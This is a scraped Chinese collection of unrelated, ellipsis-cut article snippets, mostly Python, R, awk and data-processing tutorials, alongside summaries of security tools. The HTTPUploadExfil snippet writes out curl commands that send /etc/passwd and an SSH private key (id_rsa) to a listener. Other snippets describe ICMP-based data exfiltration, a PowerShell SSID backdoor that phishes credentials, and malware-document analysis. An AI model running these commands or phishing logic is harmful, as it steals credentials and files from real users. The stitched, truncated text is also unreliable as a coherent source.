一、前言 前几天在Python白银交流群【东哥】问了一个Python正则表达式数据处理的问题。...问题如下所示：大佬们好，如何使用正则表达式提取这个列中括号内的目标内容，比方说我要得到：安徽芜湖第十三批、安徽芜湖第十二批等等。...二、实现过程 这里【瑜亮老师】给了一个指导，如下所示：如果是Python的话，可以使用下面的代码，如下所示：不用加\，原数据中是中文括号。...经过指导，这个方法顺利地解决了粉丝的问题。 如果你也有类似这种数据分析的小问题，欢迎随时来交流群学习交流哦，有问必答！ 三、总结 大家好，我是皮皮。...这篇文章主要盘点了一个Python正则表达式的问题，文中针对该问题，给出了具体的解析和代码实现，帮助粉丝顺利解决了问题。
一、前言 前几天在Python最强王者交流群【哎呦喂 是豆子～】问了一个Python数据提取的问题，一起来看看吧。...大佬们请问下 指定列提取连续6位数据的单号(该列含文字、数字、大小写字母等等)，连续数字超过6位、小于6位的数据不要，这个为啥有的数据可以提取 有的就提取不出来?...二、实现过程 这里【猫药师Kelly】给了一个思路，使用C老师帮忙助力，每次只提取一种模式，然后update合并。 相当于把每行所有可能列出来，之后再合并。...这篇文章主要盘点了一个Python正则表达式数据提取的问题，文中针对该问题，给出了具体的解析和代码实现，帮助粉丝顺利解决了问题。...最后感谢粉丝【哎呦喂 是豆子～】提问，感谢【瑜亮老师】、【猫药师Kelly】、【隔壁山楂】、【Wayne.Wu】、【郑煜哲·Xiaopang】给出的思路和代码解析，感谢【黑科技·鼓包】、【巭孬】等人参与学习交流
一、前言 前几天在Python最强王者交流群【哎呦喂 是豆子～】问了一个Python数据提取的问题，一起来看看吧。...大佬们请问下 指定列提取连续6位数据的单号(该列含文字、数字、大小写字母等等)，连续数字超过6位、小于6位的数据不要，这个为啥有的数据可以提取 有的就提取不出来?...下图是提取成功的： 下图是提取失败的： 二、实现过程 这里【猫药师Kelly】给了一个思路，使用C老师帮忙助力： 不过误报数据有点高 提取连续6位数据的单号(该列含文字、数字、大小写字母、符号等等...这篇文章主要盘点了一个Python正则表达式数据提取的问题，文中针对该问题，给出了具体的解析和代码实现，帮助粉丝顺利解决了问题。...最后感谢粉丝【哎呦喂 是豆子～】提问，感谢【瑜亮老师】、【猫药师Kelly】、【隔壁山楂】给出的思路和代码解析，感谢【黑科技·鼓包】、【巭孬】等人参与学习交流。
Python是一种高级编程语言，提供了多个库，可以连接到MySQL数据库和执行SQL查询。 在本文中，我们将深入探讨使用 Python 和 PyMySQL 库连接 MySQL 表的列值的过程。...提供了有关如何连接到MySQL数据库，执行SQL查询，连接列值以及最终使用Python打印结果的分步指南。...此技术对于需要使用 MySQL 数据库的数据分析师和开发人员等个人特别有用，他们需要将多个列的值合并到一个字符串中。...我们希望将first_name和last_name列的值连接成一个名为 full_name 的列。...结论 总之，我们已经学会了如何使用Python连接MySQL表的列值，这对于任何使用关系数据库的人来说都是一项宝贵的技能。
，广大研究人员可以将目标域名相关的网页元数据（文件等）提取到本地，这种技术可以有助于我们识别目标域名、用户名、软件/版本和命名约定等。...该工具使用了专门设计的搜索查询方式，并使用了Google和Bing实现数据爬取，并能从给定的域中识别和下载以下文件类型：pdf、xls、xlsx、csv、doc、docx、ppt、pptx。...下载完成后，该工具将使用exiftool从这些文件中提取元数据，并将其添加到.csv报告中。或者，Pymeta可以指向一个目录，并使用-dir命令行参数手动从下载的文件中提取元数据。...工具要求 该工具的正常运行需要使用到exiftool，安装命令如下： Ubuntu/Kali： apt-get install exiftool -y macOS： brew install exiftool...使用Google和Bing搜索example.com域名中的所有文件，并提取元数据，然后将结果存储至csv报告中： pymeta -d example.com 提取给定目录中所有文件的元数据，并生成
很多时候，我们可能需要使用变量表中的列，例如： VAR vTable = FILTER( 'Order' , [Discount] 0 ) 这里定义了一个 vTable 表示订单中没有折扣的那些订单...如果希望使用基表中列，可以使用这样的语法： 表[列] 因此， VAR vResult = SUM( 'Order'[LineSellout] ) 是有效的正确语法，而 VAR vResult = SUM...如果希望使用非基表中的列，则不可以直接引用到，要结合具体的场景来选择合适的函数。...取出某列 如果想直接取出某列，也必须注意使用的方式，例如，错误的方式如下： VAR vList = VALUES( vTable[LineSellout] ) 这就是一个错误的语法，因为 vTable[...其次，要强调一个问题，或者一个思考，那就是： 既然 VALUES 和 DISTINCTCOUNT 都不能使用到诸如 vTable[LineSellout] 的列，那么，是不是存在某个场景，是无法实现表达的
Awk 中的默认 IFS 是制表符和空格。...Awk: 遇到输入行时，根据定义的IFS，第一组字符为field one，访问时使用 1，第二组字符是字段二，使用访问 2，第三组字符是字段三，使用访问 为了更好地理解这个 awk 字段编辑，让我们看看下面的例子...字段二是 is使用$2. 第三场是 the使用$3. 如果您在打印输出中注意到，字段值没有分开，这就是打印默认的行为方式。...需要注意并始终记住的一件重要事情是使用($)inAwk 不同于它在 shell 脚本中的使用。...使用printf格式化的输出Item_Name 和 Unit_Price： > awk '//{printf "%-10s %s\n",$2, $3 }' my_shopping.txt Item_Name
一简介 cut命令，可以分割行内容，并提取对应的列数据 类似sed和awk命令，但是cut感觉更加便捷，在一定条件下 这里介绍cut基本的用法和参数 二实战 -d ' ' , -d参数表示用什么分隔...，这里表示用空格分隔（记住这里-d只支持单个字符分隔，也就是-d 'a'可以，-d 'ab'不可以） -f 1,2 -f参数表示显示第几个列，1表示第一列，1,2表示显示第一列和第二列 cut -...d ' ' -f 1,2 通过空格分隔内容，并显示第一列第二列 第一步： ?
其实，我们可以把HTTPUploadExfil看作是Python中的http.server(“python3 -m http.server”)，但HTTPUploadExfil的主要功能是远程从目标设备上提取数据...很明显，这是一种非常方便强大但又存在一定限制的数据/文件提取方式。然而，HTTPUploadExfil的使用比SMB或FTP要更加简单。.../httpuploadexfil :1337 /home/kali/loot 在需要提取过滤文件数据的目标设备中，访问下列地址： http://YOUR_IP:1337/ 此时，我们就可以在自己设备上的...Shell 在Bash的帮助下，我们可以使用GET请求来实现文件数据的提取和过滤，比如说： echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1...:8080/g 当然了，我们同样可以使用curl来实现文件数据的提取和过滤： curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p 项目地址
关于XLMMacroDeobfuscator XLMMacroDeobfuscator一款针对XLM宏的安全工具，该工具可以帮助广大研究人员提取并解码经过混淆处理的XLM宏（Excel 4.0宏）。...该工具可以使用一个内部XLM模拟器来解析宏文件，而且无需完整执行目标宏代码。 当前版本的XLMMacroDeobfuscator支持xls、xlsm和xlsb格式。...该工具使用了xlrd2、pyxlsb2和其自带的解析器来相应地从xls、xlsb和xlsm文件中提取单元数据以及其他信息。 你可以在xlm-macro-lark.template查看XLM语法。...XLMMacroDeobfuscator可以在任意操作系统上运行，并正常来相应地从xls、xlsb和xlsm文件中提取和解析XLM宏文件，而无需安装Microsoft Excel。...模拟器安装 首先，我们需要使用pip下载和安装XLMMacroDeobfuscator： pip install XLMMacroDeobfuscator 接下来，我们可以使用下列命令安装最新的开发版本
关于QueenSono QueenSono是一款针对ICMP协议的数据提取工具，该工具基于Golang开发，并且只依赖于ICMP协议不受监控这一事实实现其功能。...工具安装 从源码安装 广大研究人员可以直接使用下列命令将该项目源码克隆至本地，并安装好该工具所需的依赖组件： git clone https://github.com/ariary/QueenSono.git...ICMP包接收器-qsreceiver就是我们本地设备上的数据包监听器了。 所有的命令和工具参数都可以使用“—help”来查看。...工具使用样例1：发送包携带“ACK” 在这个例子中，我们将发送一个大型文件，并查看接收到数据包之后的回复信息： 在本地设备上，运行下列命令： $ qsreceiver receive -l 0.0.0.0...-r 10.0.0.92：运行了qsreceiver 监听器的远程设备地址 -s 50000：每个数据包需要发送的数据量大小 工具使用样例2：发送包不携带“ACK” 在这个例子中，我们希望在不等待回复信息的情况下发送数据
R语言ggplot2如果要做散点图可以用自带的一些形状 如果想用其他形状，有一个R包是ggstar https://cran.r-project.org/web/packages/ggstar/vignettes.../ggstar.html 如果还想用其他形状，可以修改ggstar的代码，来增加一些形状。...ggstar这个R包的整体结构暂时还看不明白，但是定义形状的部分自己能够修改。...在 primitive.R 代码中 plxy 就是一个形状的数据，第一列是x，第二列是y 比如上图中28的形状 square diamond 把中心掏出一正方形的空白 data.frame(x=c(0,...，就能够把这个形状用于ggplot2的散点图中
欢迎关注R语言数据分析指南 ❝最近VIP群内有朋友询问火山图的绘制方法，那么本节就来详细介绍在R中如何使用「ggplot2绘制火山图」，小编添加了详细的注释希望各位观众老爷能够喜欢。...df %>% janitor::clean_names() %>% # 使用 janitor 包的 clean_names() 函数将列名转换为小写 mutate(fold_change...) %>% # 仅保留指定的列 mutate( gene_type = case_when( fold_change >= 2 & adj_p_val <= 0.05 ~...#26b3ff", "ns" = "grey"), labels = c('down 1245', 'ns 12578', "up 981")) + # 设置 x 轴的刻度和范围...scale_x_continuous(breaks = c(seq(-10, 10, 2)), limits = c(-10, 10)) + # 设置 x 轴和 y 轴的标签 labs(x
前言我们上篇文章简单的介绍了如何获取行和列的数据，今天我们一起来看看两个如何结合起来用。获取指定行和指定列的数据我们依然使用之前的数据。...我们先看看如何通过切片的方法获取指定列的所有行的数据info = df.loc[:, ["2021年", "2017年"]]我们注意到，行的位置我们使用类似python中的切片语法。...我们试试看如何将最后一列也包含进来。info = df.iloc[:, [1, 4, -1]]可以看到也获取到了，但是值得注意的是，如果我们使用了-1，那么就不能用loc而是要用iloc。...如果要使用索引的方式，要使用下面这段代码df.iloc[2, 2]是不是很简单，接下来我们再看看如何获取多行多列。为了更好的的演示，咱们这次指定索引列df = pd.read_excel(".....通常是建议这样获取的，因为从代码的可读性上更容易知道我们获取的是哪一行哪一列。当然我们也可以通过索引和切片的方式获取，只是可读性上没有这么好。
因为SSID最多只支持32字节的数据，所以我们并没有多少可以提取的数据。不过，我们的确可以从如此有限的数据中提取出像用户凭证这样的信息。 ?...因为我们现在的主要目标就是提取出用户的凭证数据，因此我们的脚本使用了Invoke-CredentialsPhish脚本的实现逻辑来提示用户输入凭证信息，并捕获到凭证的明文数据。...除此之外，“-StringToExfiltrate”和“-ExfilOnly”这两个参数还可以在不提示用户输入凭证的情况下提取出一小部分有效数据。...我添加了该后门对PowerShellv3的支持，并且使用ROT13对SSID进行编码。...那么一个无线网络热点到底是如何向后门发送控制命令的呢？
使用 LokiBot 的一个在野样本进行分析。...可以使用 msoffcrypto-crack.py处理该文档： 我们可以使用 msoffcrypto-crack.py 破解密码并新建一个没有密码保护的同名文件： 也可以直接提取内容通过管道传递给...可以看到在两处匹配到了 GetIP： scDbg.exe 接着使用 Shellcode 模拟器 scDbg.exe 加载转存的二进制文件，并填入偏移位置以查看是否出现某种解码的 Shellcode：...//frndgreen等： 再次使用 scDbg.exe 剪切必要的部分： 使用scDbg.exe直接处理oledump-cut.unpack会遇到问题， 除了 ExpandEnvironmentStringsW...什么都发现不了： 文章阐述了如何处理该问题。
简介： 图像特征提取和匹配是计算机视觉和图像处理中的重要任务。它们在图像识别、目标检测和图像拼接等各种应用中发挥着至关重要的作用。...一种流行的特征提取算法是尺度不变特征变换 (SIFT)，它被广泛用于检测和描述对尺度、旋转和光照变化不变的稳健特征的能力。...在本文中，我们将探讨如何将 SIFT 与流行的开源计算机视觉库 OpenCV 一起用于图像特征提取和匹配。 输入图像：让我们首先加载要在其上执行特征提取和匹配的输入图像。...我们可以使用 OpenCV 的内置函数来读取和显示图像。...SIFT 提取特征：接下来，我们将使用 SIFT 从输入图像中提取特征。
如何将下图中的左图（低配版）转化为右图（高配版， x，y 轴分离）。 低配版条形图 首先，构造一个数据集作为样例，读者可以根据自己的数据进行调整即可。假设 y 是分类变量，x 是连续型变量。...ggplot(df1, aes(p.val, term)) + geom_col(width = 0.6) + labs(x = '-log(BH p value)', y =...这里的细节调整包括：使用 ggthemes 包中的 theme_tufte() 主题，viridis 包的 scale_fill_viridis() 离散配色。...填充的 legend 没有实际含义，所以将图例去除（legend.position = 'none'）。 注意：这里将柱子按照类别进行填充，当然你也可以使用另一个变量进行填充（下面会给例子）。...主要细节调整：geom_col() 中的 aes(fill = score)，连续性变量填充使用 scale_fill_gradient2() 以及加上了图例。
千里共如何，微风吹兰杜。 大家好，我是皮皮。 一、前言 前几天在Python最强王者交流群【逸】问了一个Pyhton处理Excel的问题，这里拿出来给大家分享下。...二、实现过程 针对这个问题，一开始我想到的就是字符串拼接，后来在网上查了下，原来真的有现成的代码，不然挨个自己手写，真的不一定写得出来，这里拿出来给大家一起分享。...： 没想到这个代码还是蛮实用的： 原文链接：https://blog.csdn.net/u013595395/article/details/116603463 三、总结 大家好，我是皮皮。...这篇文章主要盘点了一个Pyhton处理Excel的问题，文中针对该问题，给出了具体的解析和代码实现，帮助粉丝顺利解决了问题。...最后感谢粉丝【逸】提问，感谢【Eric】给出的思路和代码解析，感谢【群除我佬】等人参与学习交流。
ggplot 中 scale 的使用 ggplot画图是画图中的战斗机，但是往往在我们用ggplot2画图时候，需要根据需求更改坐标，图例等，最常见的就是更改x，y坐标系的名称。...在ggplot2中，坐标系与比例尺和参考线是自动生成的，并且生成得很好。...我们会使用scale_color_和scale_fill_来更改调色板，今天我们就来介绍如何在ggplot中调整比例尺，调整中断和标签，修改轴和图例等。...强大的 Scale包，可以实现在ggplot基础上，对图形进行微调及更改。...1.基础底图 Scale包为ggplot底图提供了四种样式的比例尺： demo_continuous() and demo_log10() for numerical axes demo_discrete
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